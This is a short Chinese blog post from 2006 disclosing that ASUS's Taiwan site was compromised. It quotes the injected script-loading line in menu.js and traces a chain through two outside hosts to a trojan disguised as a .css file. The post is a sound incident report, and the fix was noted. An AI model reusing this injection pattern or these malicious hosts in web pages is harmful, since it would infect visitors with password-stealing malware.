ASUS 網站被植入惡意程式

| | Comments (0)

http://tw.asus.com/include/menu.js
裡面有一行 document.write('<script src=include/style.css></script>');
style.css 會連到 http://www.hiet.tw/1.htm
裡面的 javascript (編碼過) 會執行 VBScript 然後去抓 http://www.yyc8.com/script/src/rss3.css 回來執行
rss3.css 其實是執行檔, 被 Kaspersky 掃到 Trojan-PSW.Win32.Nilage.azw
已把此問題反應給 ASUS 網站問題反應區
2006-12-12 Update: 隔天就修好了

Leave a comment

March 2009

Sun Mon Tue Wed Thu Fri Sat
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31        

About this Entry

This page contains a single entry by Pank published on December 10, 2006 3:44 PM.

[PHP] File 'NONEXISTENT/charsets/?.conf' not found (Errcode: 2) was the previous entry in this blog.

搶先申請 id@live.com 帳號 Part3 is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.